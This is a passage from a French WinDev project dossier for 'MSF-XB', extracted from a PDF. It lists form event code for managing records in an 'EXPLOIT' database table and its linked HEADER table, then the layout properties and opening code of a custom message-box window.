FIN// sinon ferme la fenêtre

SINONFerme()

FIN

Clic sur Dernier// vérification des modifications de la ficheVerifModification()

// lecture du dernier enregistrementHLitDernier(EXPLOIT,NOM_FICHIER)

// pas d'enregistrementSI HEnDehors() ALORS

Info("Le fichier est vide")// sinon transfert du buffer du fichier dans les champs

Page 221: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 222

// et rafraichissement de la tableSINON

Rafraichissement()FIN

Clic sur Fermer// fermeture de la fenêtre sans rien faireFerme()

Clic sur Nouveau// vérification des modifications de la ficheVerifModification()

// passe en mode créationModifModeFenetre("Création")

Clic sur OK// indique que la fiche n'est plus modifiéeMaFenêtre..Modifié=Faux

// selon le mode de la fenêtreSELON gModeFenetre

// Mode créationCAS "Création"

// transfert des champs dans le buffer fichierEcranVersFichier()// Ajout de l'enregistrementHAjoute(EXPLOIT)SI ErreurDétectée ALORS

Info("Impossible d'ajouter un enregistrement"+RC+HErreurInfo())RETOUR

FIN

// Mode modificationCAS "Modif"

Page 222: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 223

// transfert des champs dans le buffer fichierEcranVersFichier()

// modification de l'enregistrementHModifie(EXPLOIT)SI ErreurDétectée ALORS

Info("Impossible de modifier l'enregistrement"+RC+HErreurInfo())RETOUR

FIN

FIN

// si la fenêtre a été ouverte en mode parcoursSI ModeOuverture="Parcours" ALORS

// le nouvel enregistrement devient l'enregistrement en coursgNumEnr = HNumEnr(EXPLOIT)

// On se positionne sur l'enregistrement ajoutéSI gnumEnr<>0 ALORS

HLitRecherchePremier(EXPLOIT,NOM_FICHIER,EXPLOIT.NOM_FICHIER)SINON

HLitPremier(EXPLOIT,NOM_FICHIER)FIN

// retour dans le mode d'origineModifModeFenetre(ModeOuverture)// dans les autres cas

SINON// fermeture de la fenêtreFerme()

FIN

Clic sur Precedent// vérification des modifications de la ficheVerifModification()

// lecture de l'enregistrement précédentHLitPrécédent(EXPLOIT,NOM_FICHIER)

// pas d'enregistrementSI HEnDehors() ALORS

SI Nation=3 ALORSInfo(

Page 223: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 224

"You are at the beginning of the database")SINON

Info("Début du fichier atteint")FIN

SINON// transfert du buffer du fichier dans les champs// et rafraichissement de la tableRafraichissement()

FIN

Clic sur Premier// vérification des modifications de la ficheVerifModification()

// lecture du premier enregistrementHLitPremier(EXPLOIT,NOM_FICHIER)

// pas d'enregistrementSI HEnDehors() ALORS

SI Nation=3 ALORSInfo("The database is empty")

SINONInfo("Le fichier est vide")

FINSINON

// sinon transfert du buffer du fichier dans les champs// et rafraichissement de la tableRafraichissement()

FIN

Clic sur BTN_SYST_FERMER ( SCSystemButtons )

Clic sur BTN_Syst_Maximize ( SCSystemButtons )

Clic sur BTN_SYST_MINIMIZE ( SCSystemButtons )

Clic sur BTN_UMC ( SCSystemButtons )

Clic sur Suivant// vérification des modifications de la ficheVerifModification()

// lecture de l'enregistrement suivantHLitSuivant(EXPLOIT,NOM_FICHIER)

// pas d'enregistrementSI HEnDehors() ALORS

SI Nation=3 ALORSInfo("End of file")

SINONInfo("Fin du fichier atteinte")

FINSINON

// transfert du buffer du fichier dans les champs// et rafraichissement de la tableRafraichissement()

FIN

Clic sur Supprimer// demande de confirmationSI OuiNon("Voulez-vous vraiment supprimer l'enregistrement ?") ALORS

// Suppression de l'enregistrementHSupprime(EXPLOIT)SI ErreurDétectée ALORS

Erreur("Impossible de supprimer l'enregistrement."+RC+HErreurInfo())RETOUR

FIN

// lecture de l'enregistrement suivantHLitSuivant(EXPLOIT,NOM_FICHIER)

// si l'enregistrement supprimé était le dermier enregistrementSI HEnDehors() ALORS

// lecture du dernier enregistrementHLitDernier(EXPLOIT,NOM_FICHIER)

// il n'y a plus d'enregistrement dans le fichierSI HEnDehors() ALORS

// vide les champsRAZ// informe l'utilisateur que le fichier est vide

Page 224: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 226

Info("Le fichier est vide")// terminéRETOUR

FINFIN

// rafraichissement de la fiche et de la table reliéeRafraichissement()

FIN

Clic sur TabDernierTableSelectPlus(TABLEREL,TableOccurrence(TABLEREL))

Entrée en saisie d'une ligne de TABLEREL// La valeur de la clé de relation est remplie automatiquementTABLEREL.IDEXPLOIT=EXPLOIT.NOM_FICHIER

Clic sur TabModifier// table videSI TableSelect(TABLEREL)=-1 ALORS RETOUR

// rafraichissement de la table avant la modification// dans le cas où une modification à été faite sur un autre posteTableAffiche(TABLEREL,taCourantBandeau)// Ouverture de la fiche du fichier HEADER en mode modificationSI Ouvre("Fiche_HEADER","Modif") ALORS

// rafraichissement de la tableTableAffiche(TABLEREL,taCourantBandeau)

FIN

Clic sur TabNouveau// Ouverture de la fiche du fichier HEADER en mode créationSI Ouvre("Fiche_HEADER","Création") ALORS

// rafraichissement de la table

Page 225: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 227

TableAffiche(TABLEREL,taCourantPremier)FIN

Clic sur TabPrecedentSI TableSelect(TABLEREL) > 1 ALORS TableSelectPlus(TABLEREL,TableSelect(TABLEREL)-1)

Clic sur TabPremierTableSelectPlus(TABLEREL,1)

Clic sur TabSuivantSI TableSelect(TABLEREL) < TableOccurrence(TABLEREL) ALORS TableSelectPlus(TABLEREL,TableSelect(TABLEREL)+1)

Clic sur TabSupprimer// table videSI TableSelect(TABLEREL)=-1 ALORS RETOUR

// si la suppression est confirméeSI OuiNon(Non,"Voulez-vous vraiment supprimer la ligne ?") ALORS

// suppression de la ligne de la table et de// l'enregistrement correspondant dans le fichier HEADERTableSupprime(TABLEREL)

// Affichage d'une erreur si la suppression a échouéSI HErreur()<>0 ALORS Info("La suppression a échoué",HErreurInfo())

FIN

Page 226: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 228

Fiche_et_table_EXPLOIT_HEADER Procédures

Procédure locale ModifModeFenetre// Modification du mode de la fenêtre// Entrée: ModeFenetre=mode d'ouverture de la fenêtre :// - "Parcours" Visualisation de tous les enregistrements// grâce aux boutons de parcours// - "Modif" Modification de l'enregistrement en cours// - "Création" Création d'un nouvel enregistrementPROCEDURE ModifModefenetre(ModeFenetre)

// stocke le mode de la fenêtregModeFenetre=ModeFenetre

// passage en mode parcoursSI ModeFenetre="Parcours" ALORS

// boutons du mode parcours visiblesGP_PARCOURS..Visible=Vrai// boutons du mode modification invisiblesGP_MODIF..Visible=Faux// Active les boutons associées à la table de relationGP_BOUTON..Etat=Actif

// Active la table de relationTABLEREL..Etat=Actif// Active les boutons associées à la table de relationGP_BOUTON..Etat=Actif

// positionnement sur l'enregistrement en coursSI gNumEnr<>0 ALORS

HLit(EXPLOIT,gNumEnr)

// ou positionnement sur le premier enregistrementSINON

HLitPremier(EXPLOIT,NOM_FICHIER)FIN

// sinon passage en mode création ou modificationSINON

Page 227: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 229

// boutons du mode parcours invisiblesGP_PARCOURS..Visible=Faux// Boutons du mode modification visiblesGP_MODIF..Visible=Vrai

// En mode "Création", la table de relation est grisé (la fiche n'a pas d'identifiant)SI ModeFenêtre="Création" ALORS // Grise la table de relation

TABLEREL..Etat=Grisé

// Grise les boutons associées à la table de relationGP_BOUTON..Etat=Grisé

SINON// Table de relation activeTABLEREL..Etat=Actif

// Active les boutons associées à la table de relationGP_BOUTON..Etat=Actif

FIN

// si passage en mode créationSI ModeFenetre="Création" ALORS

// vide les champsHRAZ(EXPLOIT)

SINON// stocke le numéro d'enregistrement en coursgNumEnr = HNumEnr(EXPLOIT)

FINFIN

// rafrachissement des champsRafraichissement()

Procédure locale RADAffiche

PROCEDURE RADAffiche()// Appelé lors de l'affichage de la fiche ou le passage à la fiche suivanteFichierVersEcran()

Procédure locale RADEfface

Page 228: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 230

PROCEDURE RADEfface()// Appelé par le bouton Nouveau ou en création de ficheRAZ

Procédure locale RADEnregistre

PROCEDURE RADEnregistre()// Cette fonction est appelée lors du clic sur le bouton OK// RENVOIE Vrai si l'enregistrement est validé, faux sinon// Transfert des champs dans le buffer fichierEcranVersFichier()

// L'enregistrement est valideRENVOYER Vrai

Procédure locale Rafraichissement// Rafraichissement de la fenêtre// La partie fiche est remplie avec le buffer fichier// et la partie table est mise à jour en fonction de// l'enregistrement en cours dans le fichier principalPROCEDURE Rafraichissement()

// Transfert du buffer du fichier dans les champsFichierVersEcran()

// Définition de la rubrique de parcours utilisée dans la tableTABLEREL..RubriqueParcourue = "IDEXPLOIT"

// Mise en place d'un filtre sur la table liéeTABLEREL..Filtre=EXPLOIT.IDEXPLOIT

Procédure locale VerifModification// Vérification des modifications de la fiche// Si la fiche a été modifiée, demande confirmation// des modifications à l'utilisateur// Modifie l'enregistrement si confirmationPROCEDURE VerifModification()

// si un champ a été modifiée dans la ficheSI MaFenêtre..Modifié ALORS

// indique que la fiche n'est plus modifiéeMaFenêtre..Modifié=

Page 229: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 231

FauxnReponse is intSI Nation=3 ALORS

nReponse=OuiNon("Do you want to save modifications?")

SINONnReponse=OuiNon("La fiche EXPLOIT a été modifiée, validez-vous ces modifications ?")

FINSI nReponse ALORS

// Mise en place de l'enregistrement et validationEcranVersFichier()

HModifie(EXPLOIT)SI ErreurDétectée ALORS

Info("Impossible de modifier l'enregistrement"+RC+HErreurInfo())RETOUR

FINFIN

FIN

Page 230: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 232

WinDevMessageBox Image

WinDevMessageBox Informations générales

WinDevMessageBox

Fichier physique G:\Mes Projets\MSF-XB11\WinDevMessageBox_1.WDW

Crée par JA-PSI

Date de création 13/08/2008 17:55:55

Page 231: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 233

Titre

FR: Titre de la fenêtreGB: Window TitleDE: Titre de la fenêtreES: Titre de la fenêtreIT: Titre de la fenêtreNL: Titre de la fenêtrePT: Titre de la fenêtre

Type fenêtre Fenêtre libre

Mode ouverture Centrée par rapport à la mère

Note pour le dossier

FR,GB,...: FR,GB,...:

Position X 0 Position Y 0 Largeur 369

Hauteur 217

Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droitCurseur survol 0Menu contextuel <NO CONTEXT MENU>

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista Non

Page 232: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 234

Transparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant OuiGroupe MDIPos. X Menu 8Pos. Y Menu 26M.C.U. OuiAnim. Ouverture 0Anim. Fermeture 0Durée Anim. Ouverture 100Durée Anim. Fermeture 50Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB,...: G:\Mes Projets\MSF-XB11\MediaPlayer_Bg_Base.gifIconeImage poignée G:\Mes Projets\MSF-XB11\MediaPlayer_Resize.gif

Statistiques de la fenêtreLibellé 2 Bouton 9

Image 4 Superchamp 1

Option de menu 1

Page 233: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 235

Nombre d'éléments dans la fenêtre : 17

WinDevMessageBox Informations sur les champs

Fenêtre : WinDevMessageBoxLibellé

Position Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

LIB_INFO 82 31 271 142 0 Actif Gauche Centre

RADTitle 9 4 220 18 0 Actif Gauche Centre

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_ANNULER 275 179 80 24 0 Actif Normal

BTN_Copier_caché 6 -52 127 24 0 Actif Interrup

BTN_NON 186 179 80 24 0 Actif Normal

BTN_OK 14 179 80 24 0 Actif Validati

BTN_OUI 100 179 80 24 0 Actif Validati

Page 234: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 236

ImagePosition Position Largeur Hauteur Plan Visib Etat initial Avec Priori Anim Avec

BTN_Syst_Restore 570 -19 14 14 0 Actif

ICON_ERREUR 14 131 48 48 0 Actif

ICON_INFORMATION 14 31 48 48 0 Actif

ICON_QUESTION 14 81 48 48 0 Actif

SuperchampPosition Position Largeur Hauteur Plan Visib Etat initial Touc

SCSystemButtons 235 1 128 18 0 Actif

Superchamp : SCSystemButtonsBouton

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SYST_FERMER 319 0 44 19 0 Actif Normal

BTN_SYST_MINIMIZE 269 0 26 19 0 Actif Normal

BTN_Syst_Maximize 295 0 25 19 0 Actif Normal

BTN_UMC 235 0 24 19 0 Actif Normal

Fenêtre : WinDevMessageBoxBouton : BTN_ANNULER

Note pour le dossier

FR,GB,...: FR,GB,...:

Libellé FR: &AnnulerGB: &CancelDE: &AnnullierenES: &CancelarIT: &AnnullareNL: &AnnulerenPT: &Anular

Ordre navigation 4Curseur survol 0

Page 235: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 237

On/Off Non

Altitude 8

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB,...: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_Copier_caché

Note pour le dossier

FR,GB,...: FR,GB,...:

Libellé FR: Copier (caché)GB: ButtonDE:ES:IT:NL: KnopPT: Botão

Ordre navigation 5Curseur survol 0On/Off Non

Page 236: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 238

Altitude 12

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB,...: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Bouton : BTN_NON

Note pour le dossier

FR,GB,...: FR,GB,...:

Libellé FR: &NonGB: &NoDE: &NeinES: &NoIT: &NoNL: &NeenPT: &Não

Ordre navigation 3Curseur survol 0On/Off Non

Altitude 7

Page 237: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 239

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB,...: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_OK

Note pour le dossier

FR,GB,...: FR,GB,...:

Libellé FR,GB,...: OKOrdre navigation 1Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1

Page 238: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 240

Image fond FR,GB,...: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_OUI

Note pour le dossier

FR,GB,...: FR,GB,...:

Libellé FR: &OuiGB: &YesDE: &JaES: &SíIT: &SìNL: &JaPT: &Sim

Ordre navigation 2Curseur survol 0On/Off Non

Altitude 6

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB,...: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gif

Page 239: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 241

Nb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Image : BTN_Syst_Restore

Note pour le dossier

FR,GB,...: FR,GB,...:

Valeur initiale FR,GB,...: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Restore.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 240: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 242

Image : ICON_ERREUR

Note pour le dossier

FR,GB,...: FR,GB,...:

Valeur initiale FR,GB,...: G:\Mes Projets\MSF-XB11\WDMSGBOX-erreur.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 11

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Image : ICON_INFORMATION

Note pour le dossier

FR,GB,...: FR,GB,...:

Valeur initiale FR,GB,...: G:\Mes Projets\MSF-XB11\WDMSGBOX-info.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. Haut

Page 241: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 243

Altitude 9

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Image : ICON_QUESTION

Note pour le dossier

FR,GB,...: FR,GB,...:

Valeur initiale FR,GB,...: G:\Mes Projets\MSF-XB11\WDMSGBOX-question.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 10

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 242: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 244

Libellé : LIB_INFO

Note pour le dossier

FR,GB,...: FR,GB,...:

Libellé FR,GB,...: <Libellé de Info/Erreur>Curseur survol 0Synchro Infos Partagées Non

Altitude 5

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : RADTitle

Note pour le dossier

FR,GB,...: FR,GB,...:

Libellé FR: Titre de la fenêtreGB: Window TitleDE: Titre de la fenêtreES: Titre de la fenêtreIT: Titre de la fenêtreNL: Titre de la fenêtrePT: Titre de la fenêtre

Curseur survol 0Synchro Infos Partagées Non

Page 243: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 245

Altitude 1

Numéro aide 0

Opacité 100

Mode ellipse A la finUnicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtons

Note pour le dossier

FR,GB,...: FR,GB,...: Ce superchamp est très utile pour les fenêtres sans barre de titre.

En effet, il simule les boutons système de la barre de titre d'une fenêtre : - Fermer - Agrandir/Restaurer - Iconiser

Ordre navigation 6

Altitude 2Largeur externe 128Hauteur externe 18

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 244: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 246

Superchamp : SCSystemButtonsBouton : SCSystemButtons.BTN_SYST_FERMER

Note pour le dossier

FR,GB,...: FR,GB,...:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 1

Bulle d'aide FR,GB,...: FermerNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB,...: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close.gifNb. états image 1Image fond FR,GB,...: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close_Anim.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 245: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 247

Bouton : SCSystemButtons.BTN_SYST_MINIMIZE

Note pour le dossier

FR,GB,...: FR,GB,...:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR,GB,...: RéduireNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB,...: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize.gifNb. états image 1Image fond FR,GB,...: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 246: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 248

Bouton : SCSystemButtons.BTN_Syst_Maximize

Note pour le dossier

FR,GB,...: FR,GB,...:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR,GB,...: AgrandirNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB,...: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximise.gifNb. états image 1Image fond FR,GB,...: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 247: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 249

Bouton : SCSystemButtons.BTN_UMC

Note pour le dossier

FR,GB,...: FR,GB,...:

Libellé FR,GB,...: &BoutonOrdre navigation 168Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB,...: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC.gifNb. états image 1Image fond FR,GB,...: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 248: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 4

26/10/2008 250

WinDevMessageBox Code

Déclarations globales de WinDevMessageBoxPROCEDURE WinDevMessageBox( szTitre="Test", szLibelle="Message de Test", nType=1, nNumBouton=1)// Fenêtre alernative à la MessageBox standard de windows.// Cette fenêtre est rajoutée au projet si l'option // "[] appliquer le theme du gabarit aux fenêtres systeme" est cochée.// Elle est utilisée pour les fonctions suivantes :// -Info()// -Erreur()// -OuiNon()// -Confirmer()// -Avertissement()// -OKAnnuler()// Paramètres:// szTitre : Titre que l'on veut donner à la fenêtre// szLibelle : Le message à afficher dans la fenetre// nType : Le dialogue à émuler : 0 = Info, 1 = Erreur, 2=OuiNon, 3=Confirmer, 4=Avertissement, 5=OKAnnuler.// nNumBouton: n° de bouton à sélectionner (pour OuiNon et Confirmer)//// Dernière révision du code : PAD le 24/03/2004

GLOBAL// Largeur pour les boutons du dialogue// ( Calculé selon le type de dialoge )nLargeurBtn est entier = 0

// marge en plus des boutons pour la largeurMinCONSTANT MARGEBORDS = 20// marge entre les boutonsCONSTANT MARGEINTERBTN = 6

